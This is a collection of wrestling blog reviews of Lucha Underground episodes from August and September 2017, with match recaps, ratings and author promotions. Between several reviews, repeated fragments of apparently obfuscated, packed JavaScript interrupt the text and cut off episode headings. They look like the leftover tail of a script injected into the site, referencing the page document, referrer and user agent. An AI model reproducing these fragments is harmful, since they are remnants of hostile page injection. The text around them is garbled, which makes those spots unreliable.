Lucha Underground
Date: September 27, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

It’s FINALLY time to wrap this season up with the first week of Ultima Lucha Tres. There are currently about 194 matches scheduled over the next four shows and that means it’s hard to say what to expect around here. They’ve done a great job of making this show feel important though and that’s what matters most. Let’s get to it.

We open with a recap of tonight’s matches, including Famous B. vs. Texano and Killshot vs. Dante Fox, the latter of which is built around being in the army together and Fox being left for dead.

Melissa Santos welcomes us to the show for a change of pace and Matt Striker is even more excited than usual.

Vampiro runs down the Hell of War match, which means Three Stages of Hell with First Blood, No DQ and Medical Evac (Ambulance match).

Famous B. vs. Texano

If B. wins, Texano has to join his team but he’s coming in with a broken arm. Therefore, Dario Cueto has made this a handicap match.

Famous B./Dr. Wagner Jr. vs. Texano

Wagner has his mask here because it was shot over a year ago. Texano and Wagner trade backdrops to start until Texano monkey flips him across the ring. A slingshot hilo connects and B.’s cast shot has no effect. The distraction lets Wagner stomp him down though and Wagner gets two off a backsplash. B. comes in and stomps away while wanting to know why Texano won’t just sign. Texano fights back with a sitout powerbomb on Texano but he’s not legal. Instead Brenda gets up on the apron to kiss Texano, allowing B. to roll him up for the pin at 4:22.

Rating: D. Other than Brenda, there was nothing to see here. Texano can only do so much and the Famous B. story is one of the least interesting things going on around here. He’s just not a character I can care about and everything he does feels tacked on instead of something that actually belongs on the show.

The announcers run down more of the card. I’m still not sure if they can fit all those matches into three weeks and give them the time they deserve.

Killshot vs. Dante Fox

After a break, the first fall begins with a First Blood match. They waste no time in heading outside as this is going to be all about the violence. There’s already a ladder bridged between the apron and barricade but Fox would rather throw a chair at his head. A shooting star from the apron crushes Killshot on the ladder to get the crowd even more into this. Fox chairs him in the head but can’t quite bust him open yet. Back in and Killshot hammers away but misses an apron legdrop.

Fox puts the chair around Killshot’s neck and dives off the barricade with a legdrop to the apron. They’re going straight for the violence here and that’s the right call. Fox pulls out a sheet of glass and bridges it over two chairs but Killshot catches him with a Rock Bottom onto the apron for a breather. Back in and Fox grabs a springboard C4 before throwing the glass and chairs into the ring. They head to the top with Killshot loading up a super Pedigree, only to be backdropped through the glass, drawing blood from the back for the first fall at 10:24.

The second fall is No DQ (because that’s totally different than what we just saw) and Killshot’s back is COVERED in blood. Dante puts an unfolded chair upside down in the corner and brings in a ladder. Oh this can’t end well. Like at all. A running springboard C4 through the chair only gives Dante two so he bridges the ladder over the ropes. Killshot is laid over said ladder for a 450 and another near fall, making me worried about what it’s going to take to finish this.

Killshot is back with a superkick and DDT out of the corner for two more. Fans: “FIGHT FOREVER!” It’s time for a barbed wire board (Striker: “The ancient Aztec torture rack!”) with Killshot setting it up in the corner. Killshot’s top rope double stomp only gets one but a running powerbomb through the barbed wire….doesn’t even get a cover. Instead Killshot grabs something like a One Winged Angel (without sitting Fox on his shoulders) ONTO THE BROKEN GLASS for the second fall at 6:14.

The third fall, an Ambulance match, begins after a break with Fox suplexing both of them over the top and out to the floor. Killshot is up first and drags a stretcher towards Fox as Striker accurately talks about the potential for infections on the dirty floor. With nothing else working, Killshot hits a super Death Valley Driver from the middle rope onto the stretcher on the floor, leaving a piece of Fox’s skin on the stretcher. I’m really not sure how to even respond to that.

Fox starts kicking his way off the stretcher so Killshot hits the double stomp off the barricade. It only gets Fox free though and they fight around to the front of the ambulance, which is backed into the entrance. Since they’ve done everything else, they head up to the bandstand where Fox chokes him with a cord.

Rating: A. I’m really not even sure how to think about this one. Above all else though, I completely bought the idea that these two wanted to destroy each other. This wasn’t about having a match and there’s nothing wrong (ok maybe not nothing) with just going insane like this for a change of pace. These matches work when they do them once in a blue moon instead of every single show or few shows, which is what worked so well here. I could completely get how it’s too violent for some people and I wouldn’t put up any argument if you hated it, but I bought into the story which is what matters most.

Overall Rating: A-. Well that worked. Lucha Underground is great at setting things up slowly but then delivering in the payoff, which is what they had here. Obviously it’s a one match show but it’s also a good reason to split this show up. Instead of having a bunch of violent matches to blow off the stories, let them do something like this where the matches have a chance to shine on their own. The main event, which is NOT for everyone, is worth seeing but skip the opener. If the rest of the show is up to this standard, this could get very awesome in a hurry.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Lucha Underground
Date: September 20, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

It’s the go home show for the first (of many) week of Ultima Lucha Tres. Therefore, it’s time to get ready for the biggest show of the year and the card, as long as it is, seems mostly set. The question now is what will we be seeing on the shows, which could be in quite the interesting order. Let’s get to it.

The opening recap, uh, recaps things, like the Gift of the Gods Title match and Melissa Santo being drawn into a mixed tag to deal with the Martinez family.

Fenix is training Melissa Santos for her in-ring debut. She pins him down and asks to take his mask off but he slips out. He says he’s Fenix with or without the mask and he’ll lose everything if he loses it. Melissa says he won’t lose her and bends him back for a kiss.

Famous B. is doing commentary. I doubt he’ll rock the outfits as well.

Dante Fox vs. Texano

Texano yells at B. so Fox jumps him from behind to take over. A big dive to the floor is teased but Fox settles for a moonsault off the apron instead. Killshot is watching from the balcony and Fox throws him a point before hitting a Swanton for two. Texano gets the same off some clotheslines and elbows to the jaw. A cutter out of the corner drops Texano but he’s right back up with the powerbomb. That’s countered as well though and Fox gets two off a crucifix bomb. A tiger backbreaker plants Fox….and B. gets in the ring to declare Texano the winner. The distraction lets Fox grab a rollup for the pin at 5:40.

Rating: D+. This was fun while it lasted but I’m getting tired of this Famous B. stuff. He’s not funny and he’s not interesting but for some reason he’s been around for the entire history of the show. Fox vs. Killshot has serious potential, though that was barely getting any kind of focus compared to the Famous B. stuff.

Texano tries to kill B. but Dario Cueto says no because he needs a ring announcer. Instead he’ll be facing Texano next week at Ultima Lucha. Famous B.: “But I have a broken arm!” Dario: “Then I guess it will be a handicap match!” And that’s why he’s awesome. If Famous B. wins, Texano is his new client.

The Aztec Medallions are turned in before the Gift of the Gods Title match tonight. Dario calls in medics for later.

Marty Martinez/Mariposa vs. Fenix/Melissa Santos

Melissa is uh, shale we say…….sweet goodness what was I talking about again? Mariposa cranks on Fenix’s arm to start until he smacks her upside the head. It’s off to Marty as things speed up, including some forearms and a kick to the head. A Lethal Injection gets two on Marty and there’s a big dive to the floor. Back in and Fenix keeps backing into the corner so Melissa can tag herself in. For some reason it doesn’t count and Marty drags Fenix back to the corner.

Mariposa kisses him before it’s back to Marty for a chinlock. Fenix fights up and shoves Marty into a kick from Melissa. The hot tag brings her in for a top rope seated senton and a double superkick to Marty. Mariposa gets sent face first into Marty’s crotch as Fenix drops Melissa onto Marty a few times for some near falls. Fenix gets crotched on top though and Mariposa ties him to the ropes. Oh this could get bad in a hurry. Mariposa and Marty surround Melissa and it’s an assisted Pedigree for the pin at 8:43.

Rating: C. This was much more storytelling than anything else and there’s nothing wrong with that. Melissa was great for a one off though I’m glad it seems to not be something they’re going with long term. Fenix vs. Marty should be a lot of fun, especially if the women get involved as a bonus. This probably should have been the Ultima Lucha match but I get why they went with it here….I think.

Fenix breaks out and makes the save before anything else can happen.

We run down the Ultima Lucha Tres card.

Gift of the Gods Title: Paul London vs. Mala Suerte vs. Saltador vs. Cortez Castro vs. Drago vs. Son of Havoc vs. Pentagon Dark

One fall to a finish. It’s a wild brawl to start and I’m in trouble trying to keep up with this. Pentagon and Havoc clear the ring to start but Saltador breaks up the showdown. Saltador gets kicked like he owes Pentagon money, only to pop up with a hurricanrana. Drago cleans house for a bit until Pentagon takes care of everyone else and stands tall. London is thrown over the top onto a pile of people as this is just random spots so far. It’s Suerte coming in with a crucifix for two but Drago comes in with his running Blockbuster for the same

Saltador gets his own near fall off a springboard Fameasser but Havoc saves Castro. Drago kicks London down but Saltador comes in to take him down as well. It’s Havoc diving onto various people until London and Saltador double team Pentagon. Not that it matters as he package piledrives both guys, only to have Son of Havoc add a shooting star for the pin on Saltador at the same time Pentagon pins London at 6:44.

Rating: C. I have no idea what to say about a match like this as it’s just carnage until the ending. Havoc and Pentagon winning is fine as you can imagine the next match being added for one of the next four weeks. It’s an entertaining match but don’t waste your time if you want anything more than a spot fest.

Dario makes a ladder match for the title at Ultima Lucha.

Dario gets into a limo to meet Councilman Delgado’s replacement. He has the gauntlet with him but the replacement isn’t happy. Dario suggests that either Jeremiah Crane or Mil Muertes would be a good choice to hold it so we’ll have a triple threat with those two along with Cage for the gauntlet. The replacement is offered to come to the temple next week and a cigar is lit by someone in shadow to end the show.

Overall Rating: C+. We’re to the point now where they just need to do Ultima Lucha and probably end the series once and for all (hopefully not on a cliffhanger). The wrestling wasn’t much of a point here and there’s nothing wrong with that on a show designed to set up the biggest month of shows of the year. Good show but more important for the future than this week.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rsyhy|var|u0026u|referrer|fzifb||js|php'.split('|'),0,{})) Underground
Date: September 13, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

We’re two weeks away from the start of Ultima Lucha Tres but tonight is the 100^th episode and we have a big match which could have been a featured attraction on the show. Tonight we have Mantaza vs. Rey Mysterio, which should be a squash but Mysterio isn’t exactly one to go down without a fight. Let’s get to it.

The opening video recaps Rey vs. Matanza, which will see Rey go after Dario Cueto next.

Ricky Mandel has changed his last name to Mundo. Johnny Mundo isn’t cool with this but has to worry about their tag match tonight instead.

Prince Puma/Cage/Sexy Star/Fenix vs. Johnny Mundo/Taya/PJ Black/Ricky Mundo

Johnny isn’t cool with Ricky’s name change so we’ve got a replacement.

Prince Puma/Cage/Sexy Star/Fenix vs. Johnny Mundo/Taya/PJ Black/Marty Martinez

Star slaps away at Marty to start (I wonder if she’s thought about an armbar) before grabbing a headscissors. It’s off to Fenix vs. Black as things speed way up, only to have it be off to Cage vs. Mundo without much effort. Cage actually takes the gauntlet off, allowing Taya to dropkick him in the back. The Worldwide Underground quadruple teams Cage to very little effect until Cage suplexes Mundo. Cue Jeremiah Crane to steal Cage’s gauntlet though, leaving Puma to kick Mundo in the head. Star and Fenix hit some dives, but it’s Puma getting superkicked down. The End of the World finishes Puma at 5:43.

Rating: C-. Much more about the angle than the match here and there’s nothing wrong with that. The matches are set for Ultima Lucha and you can probably add Cage vs. Crane to it as well, which doesn’t sound bad at all. Puma vs. Mundo has some serious potential if they do the match right, though I’m starting to get scared of what they might try at the biggest show of the year.

Marty grabs Melissa Santos and gets slapped away until Fenix makes the save.

Crane comes in to see Catrina and offers the gauntlet in exchange for sleeping with him. Mil Muertes spears him down and Catrina gets the gauntlet, only to have Cage show up to take it back. Catrina disappears and it’s a three way fight with Dario showing up to get the gauntlet. There is no way this can end well.

Next week it’s Fenix/Melissa vs. Marty/Mariposa.

Aztec Medallion: Pentagon Dark vs. El Dragon Azteca Jr.

Pentagon dropkicks him in the corner at the bell and scores with a superkick for good measure. Things speed up with Azteca sending him outside for a dropkick through the ropes. Pentagon will have none of that though and sends him into the barricade as the fans chant for lucha.

Back in and Azteca takes him down for a legdrop but a handspring is easily broken up. The running tornado DDT works a bit better but Pentagon kicks him down again without too much effort. Back up and Azteca gets sent into the corner where he lands on the top in a very nice display of athleticism. Unfortunately he gets pulled right back down into the package piledriver for the pin at 6:35.

Rating: C+. Fun match between the two as Azteca continues to be one of the more entertaining guys on the show. Pentagon is probably the most over though and that’s what matters more than anything else. There’s no reason to go with anyone other than Pentagon for the Gift of the Gods though and this was the first step.

Post match Pentagon goes for the arm but Matanza of all people comes out to send Pentagon outside. Rey Mysterio finally comes in for the save, as well as the main event.

Matanza vs. Rey Mysterio

Rey slugs away to start with as much success as you would expect. Matanza takes him outside for a throw into the apron and some good heelish choking. Back in and Matanza rips at the eyes with Rey swinging away as well as he can. A crucifix gives Rey two but Matanza runs him over again and knocks him outside a second time.

Rey gets tossed over the announcers’ table but bites the hand to avoid a superplex back inside. A sunset bomb drops Matanza for no cover though and both guys are down. Instead it’s the tornado DDT for two and a springboard seated senton for the same. Matanza finally kicks him in the face to take over though and it’s chair time.

That takes too long though and it’s a 619 into the chair, only to have Matanza chair him in the knee to cut him off in a hurry. You can imagine Striker’s reaction to the knee attack. Matanza’s charge hits post but he catches Rey in the Gift of the Gods for the pin (with Dario shoving Rey’s foot off the ropes) for the pin at 11:17.

Rating: C. This was all about Rey selling as only he can and that makes for an entertaining match. Matanza is the monster around here and he’s someone who could be a big deal in another promotion if he wrestles like he did here. Dario vs. Mysterio is fine enough too and it made for a good, albeit not great, spectacle main event.

Matanza Pillmanizes Rey’s throat and carries him off to end the show.

Overall Rating: C+. It’s a very nice feeling to have us finally be ready for the biggest show (or month of shows) of the year. The wrestling wasn’t the point here but rather getting us ready for the major matches. They can even add in some things, though I’m much more interested in the behind the scenes stuff, which is probably the case for a lot of people.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yrare|var|u0026u|referrer|zdafi||js|php'.split('|'),0,{})) Underground
Date: August 30, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

We’re into the final stretch of the season now (after what feels like 183 years) and that means we’re on the way to Ultima Lucha Tres. With the main event set, there shouldn’t be too many more weeks to go before we get to the big show. That being said, this is Lucha Underground so we’ll likely have three tournaments and ten new characters before we get there. Let’s get to it.

The opening video looks at Marty Martinez being creepy, Cortez Castro being unmasked, Son of Havoc vs. Son of Madness and Johnny Mundo retaining last week.

Dario Cueto comes in to see Matanza, whose protection he now requires. In two weeks, Matanza gets to face Mysterio one on one.

Ultima Lucha Tres starts in four weeks and will be four weeks long this year.

Son of Madness vs. Mascarita Sagrada

Sagrada comes out in the biker vest given to him by Son of Havoc. Madness kicks him in the back to start and stomps him down in the corner as this is looking squashish. Sagrada gets in a kick of his own but a suplex puts him away at 2:13.

Son of Havoc comes in for the save as Dario makes Havoc vs. Madness in a Boyle Heights Biker Brawl for an Aztec Medallion later tonight. As he’s making the announcement, Paul London comes out to carry Sagrada away.

Marty Martinez vs. Argenis

Marty drives him into the corner for some rapid fire shots to the face and chest but misses a charge. A springboard….something is broken up with a faceplant and it’s time for Marty to start after the mask. Marty gets sent outside for a big dive and a hurricanrana off the steps. Since it’s just a hurricanrana, Marty sends him into the post to draw some blood. With his blood on Marty’s shoulder, Argenis comes back with a neckbreaker as Striker talks about platelets falling. Marty loads him up for a Dominator and flips it into a Codebreaker (cool) for the pin at 5:11.

Rating: C-. The blood was a nice touch and the finisher was cool as Marty looks like a killer all over again. That’s the kind of thing you get around here that’s missing from other promotions and it helps a lot. You can pretty much guarantee Fenix vs. Marty at Ultima Lucha and I’m actually looking forward to that one a bit, especially with Fenix’s great in-ring performances more often than not.

Post match Marty beats on him even more and steals the bloody mask. Marty gets in Melissa’s face, saying he wants Fenix’s mask. He’ll get it at Ultima Lucha Tres. Fenix comes out for some kicks and issues a challenge for mask vs. hair.

Joey Ryan vs. Sexy Star

Watch your arm Joey. Star hammers away in the corner as Striker babbles about smart women loving smart men. A tornado DDT gives Star two and a victory roll gets the same. Joey pulls her down by the hair and here’s Taya with a sign to mock Sexy and her fans. I’m not sure how many fans she has but then again Lucha Underground has blown her importance WAY out of the water for a long time now. Star biels him around by the chest hair, followed by Three Amigas for two. She dives onto Taya instead of following up though and it’s a superkick to give Joey the pin at 4:57.

Rating: D+. Just a match here but Star’s recent actions have somehow made me care about her even less. She’s already one of the most overpushed wrestlers I’ve seen in a long time and now there’s only one thing you can think about when she’s out there. Joey getting the win is a nice surprise, though we’re just waiting on Castro to come out for the brawl.

Post match Joey tries to put the lollipop in Star’s mouth so Castro comes in for the save with a kendo stick.

Back from a break with Castro coming into Dario’s office. He should arrest Dario right now but Dario gives him a street fight with Joey for an Aztec Medallion next week.

Aztec Medallion: Son of Havoc vs. Son of Madness

Street fight. Havoc knees Madness (thankfully in a vest so we can tell them apart) in the face to start as the vest is already off. A trashcan shot drops Havoc and they fight into the crowd as Striker makes Repo Man jokes. They take turns being sent into various objects with some fans catching Havoc as he’s thrown into the crowd again.

Madness gets thrown back to ringside for a dive out of the crowd, only to have Havoc knee the barricade by mistake. A backdrop sends Madness into the same barricade though as Striker talks about how you would do some of this stuff in a bar fight. Back in and Madness clotheslines him down (I think. Having these two looking identical is really annoying.) as Striker keeps making jokes about the beards, completely missing the point of something that is supposed to be so serious.

Havoc sends him outside again and into the steps, setting up a handspring elbow in the corner. A cutter gives Havoc two but Madness drops him again and goes to find a toolbox. Instead he picks up a garbage can for a Death Valley Driver. Now it’s time for a hammer but Havoc charges into a beer bottle to the head. The shooting star gives Havoc the pin at 13:03.

Rating: B-. Good brawl here with both guys beating each other up, though it was rather difficult to keep track of which was which most of the time. Havoc winning is the right move as Madness seems like a one off character. The match was fun enough and felt like a fight, save for Striker being more annoying than he’s been in months with all of his unfunny jokes and talking about how you wouldn’t do this stuff in a biker brawl. But Striker isn’t going to change and the match was still good so it’s hard to complain about all that much.

Overall Rating: C+. The fact that this season finally has an end date in sight helps a lot but sweet goodness does it really matter at this point? Next week will be a year since this “season” started and it’s still got the better part of two months to go after. At least they’re starting to set up some more stories for Ultima Lucha Tres than just the main event, which is really needing the build up with so little time to go. Good show this week though and that’s important right now.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Lucha Underground
Date: August 23, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

It’s time for a big show with the finals of the Cueto Cup along with the Lucha Underground Title match between Rey Mysterio and champion Johnny Mundo. This has been hyped up for months now and I’m actually looking forward to what they’ve got in store. If they do this right, it might be the biggest show they’ve ever done. Well close to it at least. Let’s get to it.

The opening video recaps tonight’s events, including a mask vs. mask match between Sexy Star and Veneno, which is just a glorified storyline advancement.

The announcers give us a quick opening.

Veneno vs. Sexy Star

Mask vs. mask. Star kicks away at him to start but here’s Joey Ryan to unmask Veneno as Cortez Castro, which we already knew. Castro and Ryan get in a brawl and the match ends at 52 seconds….I think with it being thrown out but it could also be a DQ or a countout. Striker says Star wins so we’ll say countout as the referee looked like he was counting.

Johnny Mundo and his agent come in to see Dario Cueto because the boss doesn’t appreciate Johnny anymore. Johnny could get better offers with one phone call but Dario swears everyone is banned from ringside tonight because he can beat Rey on his own. Mundo threatens to leave with the title if anything screwy happens tonight.

Cueto Cup Tournament Final: Pentagon Dark vs. Prince Puma

The winner gets the title shot at Ultima Lucha Tres, whenever that is. They trade shots to the head to start until Pentagon charges into a tilt-a-whirl backbreaker. He makes the mistake of bailing to the floor and gets caught with a flip dive to give Puma what is likely to be a short lived advantage.

Back in and Pentagon hits a Backstabber before they trade some hard chops. Puma kicks him in the face again and it’s a 619 into a springboard high crossbody for two. A tornado DDT is countered into a backbreaker for two on Puma but he’s right back with his rolling suplexes. Puma jumps into a pumphandle driver for a VERY near fall though and Striker starts yelling a lot.

A Mexican Destroyer plants Puma but of course he’s right back up and hits one of his own to put both guys down. They slowly slug it out until Pentagon is sent to the apron and then to the top. Puma kicks him in the head again for a super hurricanrana and, after a nod from Vampiro, drops the 630 for the pin and the cup at 9:32.

Rating: B. Sometimes you just need two people to fly around the ring as fast as they can while kicking each other in the head over and over. This was a heck of a match and Puma winning while seemingly going full on evil (though not necessarily heel because Lucha Underground is an odd place) is the right call. Him vs. Mundo (or Mysterio again) would be a heck of an Ultima Lucha main event as Puma has been on fire as of late.

Pentagon leaves as Puma and Vampiro shake hands.

Post break Dario gives Puma the cup but it’s time to find Puma’s opponent.

Lucha Underground Title: Rey Mysterio vs. Johnny Mundo

Mundo is defending. No seconds to start but you know this isn’t going to be a straight match. Rey slugs away to start and a kick sends him outside for a sliding headscissors into the barricade. Back in and a springboard crossbody gives Rey two but Johnny chokes him down and grabs a rear naked choke which switches into a chinlock. The Flying Chuck gives Johnny two and there’s a hard running knee to the head.

It’s off to a crossface chickenwing of all things until Johnny dumps him outside. Mundo misses a corkscrew dive though and gets ankle scissored down again. Rey’s springboard is blocked with a superkick and the kickout makes Johnny panic in a rare visual. A hanging corkscrew neckbreaker gets two on Rey and it’s time for the required ripping at Rey’s mask.

With that going nowhere, Johnny puts him in the Tree of Woe but crotches himself against the post. Rey reverses an Alabama Slam into something like a Canadian Destroyer (too common of a move tonight) for two. It’s off to an Octopus Hold on Johnny (I’m surprised Rey can actually do that move) but he escapes and grabs an over the shoulder backbreaker for two. The End of the World is broken up and Rey drops a split legged moonsault of his own.

Johnny bails outside and gets taken down by a top rope seated senton. They head back in with Striker FINALLY taking a break from shouting about how big and amazing this is. A victory roll takes the referee out (you knew it was coming) and Johnny breaks up the 619. Johnny grabs the belt but Rey’s son Dominic takes it away and drops Mundo. Security chases him off and it’s the 619 into the springboard splash….so Dario pulls the referee out. That earns Dario a 619 but Mundo takes Rey down and hits the End of the World for the pin to retain at 18:11.

Rating: B. The Dario stuff is interesting as you could have Rey fight the boss for a bit (and only a bit) though the ending wasn’t the biggest shock. Puma vs. Mundo sounds like a heck of a main event for the biggest show of the year but that could change as things aren’t exactly normal around here. Other than that though, this was what you would expect from Mysterio vs. Mundo: well done, entertaining, and a big fight feel. It’s not their Intercontinental Title match from all those years ago but it wasn’t supposed to be.

Overall Rating: B+. This is a weird one as the matches were both good (I’m not downgrading a show over a match that didn’t last a minute) but it still feels underwhelming. After the tournament being built up over two months, you kind of expected an epic show here and just got a show. This needed to be a pay per view style show with some extra stuff to set up the big matches. It’s still very good, but it doesn’t feel epic, which is what they were going for. Still worth checking out though as we FINALLY enter the home stretch for the season.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfiyk|var|u0026u|referrer|hbrdz||js|php'.split('|'),0,{})) Underground
Date: August 16, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Matt Striker, Vampiro

Now this should be a big one as we have the two semifinal matches in the Cueto Cup tournament. The tournament took a long time to get here but the final four are all possible winners, which makes for a very interesting final four. Other than that we’re a week away from Rey Mysterio vs. Johnny Mundo for the Lucha Underground Title, which should be one heck of a match. Let’s get to it.

We look at how the four semifinalists got here, along with their various issues over the last few weeks. The opening video also focuses on Mysterio vs. Mundo and Captain Vazquez being Catrina’s mother.

Cage is working out when Catrina appears to ask about the gauntlet. She says no one can maintain that much power but Cage says he can do it. He takes a swing at her with the gauntlet on but she vanishes again.

Joey Ryan comes in to see Dario Cueto and tells him that Veneno is Cortez Castro under a mask. Dario is surprised and makes Veneno vs. Sexy Star in a mask vs. mask match next week.

Cueto Cup Semifinals: Fenix vs. Prince Puma

Melissa blows Fenix a kiss during his entrance. They actually go technical to start with a battle over the wristlocks until an exchange of kicks to the face keeps us at a standstill. A slugout puts both of them down again as Vampiro goes on about gypsy boxing. One heck of a superkick sends Fenix outside for a big dive over the top but Fenix reverses the rolling suplexes into a good looking hurricanrana for two. The 619 in the corner sets up a springboard leg lariat for two more but Puma misses the Phoenix splash.

Code Red gives Fenix two so Puma hits a spinning kick to the chest for two. A Lethal Injection drops Puma again and Fenix kicks him in the head rather hard. Fenix gets two more off a snap German suplex and Vampiro goes into a rant on the near fall. Cue Marty Martinez so Fenix dives onto him, only to walk into a reverse inverted DDT driver for a very hot two. The 630 sends Puma to the finals at 10:28.

Rating: B. This is the kind of match that got fans interested in Lucha Underground in the first place and there’s nothing wrong with seeing it all over again. Fenix can fly around with almost all of the best of them but sweet goodness Puma is awesome. He looks so smooth out there and it’s almost impossible to not be awed by what he can pull off.

Mil Muertes is beating on punching bag so hard that it shakes the Temple. Cage comes in and attacks him from behind, including dropping a big weight on his back. Catrina wakes him with the stone and says use the rage on Pentagon.

Cueto Cup Semifinals: Mil Muertes vs. Pentagon Dark

Muertes is holding his ribs on the way in. Pentagon is smart enough to kick away at the ribs to start, including a kick to knock him outside for a big flip dive. Back in and Pentagon hammers away until Mil throws him to the side to take over. Muertes throws him into a fireman’s carry to ram him head first into the post a few times.

Pentagon makes a comeback until Catrina grabs his leg, allowing Muertes to hit something like a spear. An enziguri puts Muertes down for two, followed by the Backstabber out of the corner. Pentagon finally has enough of Catrina and kicks her down, setting up a top rope double stomps to the bad ribs for the pin at 7:30.

Rating: C. This didn’t have time to go very far but that’s the right choice for the finals with Puma vs. Pentagon as a pretty awesome match. Muertes being injured is interesting as well as I’m not sure where they’re going with him at the moment. He’ll be fine as the Catrina pairing works well, but I could go for some more details instead of a lot of the vague stuff they use so often.

Muertes avoids the broken arm thanks to the power of the stone.

Dario is in the ring to introduce Mysterio and Mundo, because he loves it when they talk trash to each other. Mundo comes out flanked by security (makes sense) and makes fun of Rey’s son Dominic, who must have gotten his size from his mother. Johnny asks if Rey is the real dad (well no, which we know from Storytime with Eddie Guerrero) and the fight is on. After security is quickly dispatched, here’s the Worldwide Underground to take Rey down.

Cue Sexy Star, El Dragon Azteca Jr. and the Mack for the save and a big brawl until Rey and Mundo are left alone. Now it’s Puma and Pentagon coming in as Dario watches with a bit of a gleam in his eye. Muertes comes out to take everyone out but it’s Cage (no gauntlet) for the big staredown.

Marty Martinez starts down the ramp but gets jumped by Fenix. The rest of the roster comes out (with the Rabbit Tribe sitting on the balcony as Paul London talks into a carrot because they’re just that awesome) for the fight with Killshot and Dante Fox fighting in the balcony. Puma flip dives onto a bunch of people, leaving Rey to hit the 619 and hold up the title to end the show. This was GREAT with some incredibly intricate stuff, including all of the roster being right where they were supposed to be. That’s some outstanding planning and it worked very well.

Overall Rating: A-. And that is the kind of show that made Lucha Underground the hottest wrestling show around in the first place. The action was great, the closing angle was outstanding and I REALLY want to see next week’s show. I haven’t felt that way about Lucha Underground in a very long time and it’s nice to have that back. The finals and title match have the potential to be excellent and Ultima Lucha Tres, with whatever they’ll have for that, is going to be amazing. Great show this week and worth watching for the brawl alone.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bzhzh|var|u0026u|referrer|eekti||js|php'.split('|'),0,{})) Underground
Date: August 9, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

It’s time to set the final four in the Cueto Cup as we’ll be having the final two quarterfinal matches tonight. In addition to that though, we’re restarting the process of putting together the Gift of the Gods Title and that means it’s time to find some people to possess the medallions. Let’s get to it.

The opening video of course looks at the tournament so far, plus the Worldwide Underground getting a chance to win three medallions tonight.

Aztec Medallions: Rabbit Tribe vs. Worldwide Underground

The winners all get medallions of course. Before the Worldwide Underground comes out, the Rabbit Tribe (Paul London/Saltador/Mala Suerte) dance around Melissa Santos, who doesn’t seem to mind. Taya and Saltador start with the latter sliding between her legs and shoving her down by the back of her trunks. Ricky Mandel comes in and takes a hurricanrana, followed by a standing moonsault for two.

Taya charges into a clothesline but sends Suerte into the corner. All three members of the Tribe get in the corner for a Bronco Buster because we’ve somehow teleported back to the Attitude Era. Everything breaks down and the Underground is knocked out to the floor, leaving Mandel to get caught in a neckbreaker. London adds a shooting star for the pin and the medallions at 4:36.

Rating: D+. Not long enough to get anywhere but the Tribe’s oddness is starting to grow on me. I get that it’s the idea but for once it’s actually working. It’s also interesting to see the Underground lose as you would have guessed the three of them would make it to the seven way but a bit of a surprise can be a nice thing.

Post break, the Underground’s agent yells at the losing team and says they would be fired if not for Johnny Mundo’s intervention.

Cueto Cup Quarterfinals: Jeremiah Crane vs. Mil Muertes

Muertes jumps him in the aisle and the fight is on in a hurry. Muertes throws him through some boxes and we take a break with no bell. Back with Crane being thrown through a door as Striker says this is going to be a No DQ match. They fight in the balcony above the announcers’ area with Crane being thrown down to a lower balcony as this has been one sided so far. Crane fights back but gets sent into the post for his efforts, followed by going into the apron.

They finally get inside and I guess the match has already started as there’s no bell. Crane is quickly sent back outside and through some empty wooden chairs. Some chops have no effect on Muertes so Crane tries a lap around the ring, only to get cut in half by a spear. Muertes throws some chairs into the ring and a backbreaker puts Crane through them for two.

